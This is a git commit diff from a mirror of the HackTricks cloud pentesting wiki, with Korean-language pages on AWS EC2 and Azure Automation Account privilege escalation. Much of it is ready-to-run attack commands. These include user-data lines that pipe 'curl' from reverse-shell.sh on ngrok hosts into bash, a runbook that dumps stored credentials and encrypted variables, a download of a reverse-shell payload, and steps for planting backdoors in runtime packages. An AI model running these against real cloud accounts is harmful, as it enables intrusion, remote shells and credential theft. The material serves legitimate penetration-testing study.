mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
+2
-2
@@ -406,8 +406,7 @@
|
||||
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
|
||||
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
|
||||
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -454,6 +453,7 @@
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
**EC2에 대한 더 많은 정보**는 다음을 확인하세요:
|
||||
EC2에 대한 **정보**는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **사용자 데이터에서 rev shell을 통한 접근**
|
||||
|
||||
**사용자 데이터**(`--user-data`)를 사용하여 **rev shell**을 보내는 새로운 인스턴스를 실행할 수 있습니다. 이 방법으로 보안 그룹을 지정할 필요가 없습니다.
|
||||
**사용자 데이터**(`--user-data`)를 사용하여 새로운 인스턴스를 실행하면 **rev shell**을 받을 수 있습니다. 이 방법으로 보안 그룹을 지정할 필요가 없습니다.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -40,7 +40,7 @@ GuradDuty를 사용할 때 인스턴스 외부에서 IAM 역할의 자격 증명
|
||||
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**잠재적 영향:** 기존 인스턴스 프로필에 연결된 모든 EC2 역할로의 직접적인 권한 상승.
|
||||
**잠재적 영향:** 기존 인스턴스 프로파일에 연결된 모든 EC2 역할로 직접적인 권한 상승.
|
||||
|
||||
#### ECS로의 권한 상승
|
||||
|
||||
@@ -59,7 +59,7 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
ECS 서비스를 **강제로 실행**하기 위해 이 새로운 EC2 인스턴스에서 확인하세요:
|
||||
ECS 서비스가 이 새로운 EC2 인스턴스에서 실행되도록 **강제하는 방법**을 배우려면 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
aws-ecs-privesc.md
|
||||
@@ -67,12 +67,12 @@ aws-ecs-privesc.md
|
||||
|
||||
새 인스턴스를 **생성할 수 없지만** `ecs:RegisterContainerInstance` 권한이 있는 경우, 클러스터 내에서 인스턴스를 등록하고 주석 처리된 공격을 수행할 수 있습니다.
|
||||
|
||||
**잠재적 영향:** 작업에 연결된 ECS 역할로의 직접적인 권한 상승.
|
||||
**잠재적 영향:** 작업에 연결된 ECS 역할에 대한 직접적인 권한 상승.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **손상된 인스턴스의 IAM 역할을 변경**하여 새로운 자격 증명을 탈취할 수 있습니다.\
|
||||
인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 **이미 역할을 가지고 있는 경우** (일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
|
||||
인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 **이미 역할을 가지고 있는 경우**(일반적인 경우) **`iam:RemoveRoleFromInstanceProfile`**도 필요합니다.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,30 +80,28 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
인스턴스 프로파일에 역할이 있고 공격자가 이를 제거할 수 없는 경우, 다른 우회 방법이 있습니다. 그는 역할이 없는 인스턴스 프로파일을 찾거나 새로 만들 수 있습니다 (`iam:CreateInstanceProfile`), 그 인스턴스 프로파일에 역할을 추가하고 (앞서 논의한 대로) 손상된 인스턴스에 손상된 인스턴스 프로파일을 연결할 수 있습니다:
|
||||
인스턴스 프로파일에 **역할**이 있고 공격자가 **제거할 수 없는 경우**, 다른 우회 방법이 있습니다. 그는 **역할이 없는 인스턴스 프로파일을 찾거나** **새로운 것을 생성할 수 있습니다** (`iam:CreateInstanceProfile`), **역할을 해당 인스턴스 프로파일에 추가**하고 (앞서 논의한 대로) **손상된 인스턴스에 손상된 인스턴스 프로파일을 연결**할 수 있습니다:
|
||||
|
||||
- 인스턴스에 인스턴스 프로파일이 없는 경우 (`ec2:AssociateIamInstanceProfile`) \*
|
||||
- 인스턴스에 **인스턴스 프로파일이 없는 경우** (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로필 상태를 가져야 합니다).
|
||||
**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로파일 상태를 가져야 합니다).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로필을 변경하여 더 많은 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다.
|
||||
이 권한을 통해 인스턴스에 연결된 인스턴스 프로파일을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로파일을 변경하여 더 많은 인스턴스 프로파일 역할에 대한 자격 증명을 탈취할 수 있습니다.
|
||||
|
||||
- **인스턴스 프로필이 있는 경우**, 인스턴스 프로필을 **제거**할 수 있습니다 (`ec2:DisassociateIamInstanceProfile`) 그리고 **연결**할 수 있습니다.
|
||||
- **인스턴스 프로파일이 있는 경우**, 인스턴스 프로파일을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다.
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- 또는 **손상된 인스턴스**의 **인스턴스 프로필**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`). \*
|
||||
````
|
||||
- 또는 **손상된 인스턴스**의 **인스턴스 프로필**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
````
|
||||
**잠재적 영향:** 다른 EC2 역할로의 직접적인 권한 상승(당신은 AWS EC2 인스턴스를 손상시키고 추가 권한이나 특정 인스턴스 프로필 상태를 가져야 합니다).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
@@ -121,7 +119,7 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
**`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 그 중에서 그는 **사용자 데이터를 변경**할 수 있으며, 이는 인스턴스가 **임의의 데이터를 실행**하도록 만들 수 있음을 의미합니다. 이는 **EC2 인스턴스에 대한 rev shell을 얻는 데** 사용될 수 있습니다.
|
||||
**`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 이 중에서 그는 **사용자 데이터를 변경**할 수 있으며, 이는 인스턴스가 **임의의 데이터를 실행**하도록 만들 수 있음을 의미합니다. 이는 **EC2 인스턴스에 대한 rev shell을 얻는 데** 사용될 수 있습니다.
|
||||
|
||||
속성은 **인스턴스가 중지되어 있는 동안에만** 수정할 수 있으므로, **권한** **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다.
|
||||
```bash
|
||||
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한을 가진 공격자는 **사용자 데이터**에 **rev shell**이 포함된 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **Autoscaler 그룹**이 해당 **Launch Template**을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한이 있는 공격자는 **사용자 데이터**에 **rev shell**이 포함된 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **모든 Autoscaler 그룹**이 해당 템플릿을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
**`autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 **사용자 데이터**에 포함한 **Launch Configuration**을 **생성**할 수 있으며, 그 구성에서 **autoscaling 그룹**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
|
||||
**`autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 포함한 **Launch Configuration**을 **생성**한 다음, 해당 구성에서 **autoscaling 그룹**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -202,11 +200,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한이 필요합니다** (이는 알려진 권한 상승입니다).
|
||||
권한 세트 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한이 필요합니다** (이는 알려진 권한 상승입니다).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
**`ec2-instance-connect:SendSSHPublicKey`** 권한을 가진 공격자는 사용자에게 ssh 키를 추가하고 이를 사용하여 접근할 수 있습니다 (인스턴스에 ssh 접근 권한이 있는 경우) 또는 권한을 상승시킬 수 있습니다.
|
||||
권한 **`ec2-instance-connect:SendSSHPublicKey`**를 가진 공격자는 사용자에게 ssh 키를 추가하고 이를 사용하여 접근하거나 (인스턴스에 ssh 접근 권한이 있는 경우) 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
@@ -219,7 +217,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 권한이 있는 공격자는 **직렬 연결에 ssh 키를 추가할 수 있습니다**. 직렬 연결이 활성화되지 않은 경우, 공격자는 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**.
|
||||
|
||||
직렬 포트에 연결하려면 **기계 내부의 사용자 이름과 비밀번호를 알아야 합니다**.
|
||||
직렬 포트에 연결하기 위해서는 **기계 내부의 사용자 이름과 비밀번호를 알아야 합니다**.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -237,7 +235,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
런치 템플릿은 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 사용자 데이터에 존재하는 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 달성하기 위해, 다음 스크립트는 사용 가능한 런치 템플릿의 모든 버전을 반복합니다:
|
||||
런치 템플릿은 버전 관리가 가능하므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 사용자 데이터에 존재하는 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 달성하기 위해, 다음 스크립트는 사용 가능한 런치 템플릿의 모든 버전을 반복합니다:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -254,7 +252,7 @@ done
|
||||
|
||||
`aws_access_key_id`와 `aws_secret_access_key`를 찾으면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다.
|
||||
|
||||
**잠재적 영향:** IAM 사용자에게 직접 권한 상승.
|
||||
**잠재적 영향:** IAM 사용자에게 직접적인 권한 상승.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+239
@@ -0,0 +1,239 @@
|
||||
# Az - Azure Automation Accounts Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
요약하자면, 이러한 권한은 **Automation Account**에서 **Runbooks를 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **Automation Account**의 컨텍스트에서 코드를 **실행**하고 할당된 **Managed Identities**에 대한 권한을 상승시키며 **Automation Account**에 저장된 **자격 증명** 및 **암호화된 변수**를 유출할 수 있습니다.
|
||||
|
||||
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 다음을 사용하여 **Automation Account**에서 Runbook의 코드를 수정할 수 있게 합니다:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
|
||||
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
이전 스크립트가 **자격 증명의 사용자 이름과 비밀번호** 및 Automation Account에 저장된 **암호화된 변수**의 값을 유출하는 데 어떻게 사용될 수 있는지 주목하십시오.
|
||||
|
||||
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`**은 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다.
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
권한 **`Microsoft.Automation/automationAccounts/jobs/write`**는 사용자가 Automation Account에서 Runbook을 실행할 수 있도록 허용합니다:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
```
|
||||
권한 **`Microsoft.Automation/automationAccounts/jobs/output/read`**는 사용자가 Automation Account에서 작업의 출력을 읽을 수 있도록 허용합니다:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Runbook이 생성되지 않았거나 새로 만들고 싶다면, 다음을 사용하여 수행하기 위해 **권한 `Microsoft.Resources/subscriptions/resourcegroups/read` 및 `Microsoft.Automation/automationAccounts/runbooks/write`**가 필요합니다:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
이 권한은 사용자가 Automation Account에 **사용자 관리형 ID**를 할당할 수 있도록 허용합니다:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다 (그리 은밀하지 않음).
|
||||
|
||||
스케줄의 **최소 간격은 15분**이며, **최소 시작 시간은 5분** 후입니다.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every minute" \
|
||||
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
|
||||
## Form macOS
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every 15 minutes" \
|
||||
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 runbook에 Scheduler를 할당할 수 있습니다:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"runOn": "",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"schedule": {
|
||||
"name": "<scheduler-name>>"
|
||||
},
|
||||
"parameters": {}
|
||||
}
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> 이전 예제에서 jobchedule id는 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 예시로** 남겨졌지만, 이 할당을 생성하려면 임의의 값을 사용해야 합니다.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**를 사용하면 다음 명령을 통해 Automation Account 내의 Runbook에 대한 새로운 Webhook을 생성할 수 있습니다.
|
||||
|
||||
웹훅 URI를 **지정해야** 하며, 사용할 토큰이 필요합니다.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
`Microsoft.Automation/automationAccounts/runbooks/draft/write` 권한만으로 **Runbook의 코드를 업데이트**하고 이를 게시하지 않고 다음 명령어를 사용하여 실행할 수 있습니다.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"parameters": {},
|
||||
"runOn": "",
|
||||
"runtimeEnvironment": "PowerShell-5.1"
|
||||
}'
|
||||
|
||||
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
|
||||
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
이 권한은 사용자가 다음과 같은 명령을 사용하여 Automation Account에 대한 **소스 제어를 구성**할 수 있도록 허용합니다(이 예에서는 Github를 사용합니다):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <automation-account-name> \
|
||||
--name RemoteGithub \
|
||||
--repo-url https://github.com/carlospolop/gh-runbooks.git \
|
||||
--branch main \
|
||||
--folder-path /runbooks/ \
|
||||
--publish-runbook true \
|
||||
--auto-sync \
|
||||
--source-type GitHub \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
이것은 자동으로 Github 리포지토리에서 Automation Account로 런북을 가져오고, 이를 실행하기 위한 다른 권한이 있다면 **권한 상승**이 **가능할 수 있습니다**.
|
||||
|
||||
또한, Automation Accounts에서 소스 제어가 작동하려면 관리형 ID가 **`Contributor`** 역할을 가져야 하며, 사용자 관리형 ID인 경우 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 변수에 사용할 사용자 관리형 ID의 **클라이언트 ID**를 설정하여 구성할 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> 생성된 후에는 소스 제어의 repo URL을 변경할 수 없다는 점에 유의하세요.
|
||||
|
||||
### 사용자 정의 런타임 환경
|
||||
|
||||
자동화 계정이 사용자 정의 런타임 환경을 사용하는 경우, 악성 코드(예: **백도어**)로 런타임의 사용자 정의 패키지를 덮어쓸 수 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때 악성 코드가 실행됩니다.
|
||||
|
||||
### 상태 구성 손상
|
||||
|
||||
**전체 게시물을 확인하세요:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- 1단계 — 파일 생성
|
||||
|
||||
**필요한 파일:** 두 개의 PowerShell 스크립트가 필요합니다:
|
||||
1. `reverse_shell_config.ps1`: 페이로드를 가져오고 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
|
||||
2. `push_reverse_shell_config.ps1`: VM에 구성을 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
|
||||
|
||||
**사용자 정의:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다.
|
||||
|
||||
- 2단계 — 구성 파일 압축
|
||||
|
||||
`reverse_shell_config.ps1`는 Azure Storage Account로 전송할 준비가 된 `.zip` 파일로 압축됩니다.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Step 3 — 저장소 컨텍스트 설정 및 업로드
|
||||
|
||||
압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 미리 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Step 4 — Prep Kali Box
|
||||
|
||||
Kali 서버는 GitHub 리포지토리에서 RevPS.ps1 페이로드를 다운로드합니다.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
스크립트는 대상 Windows VM과 리버스 셸을 위한 포트를 지정하도록 수정됩니다.
|
||||
|
||||
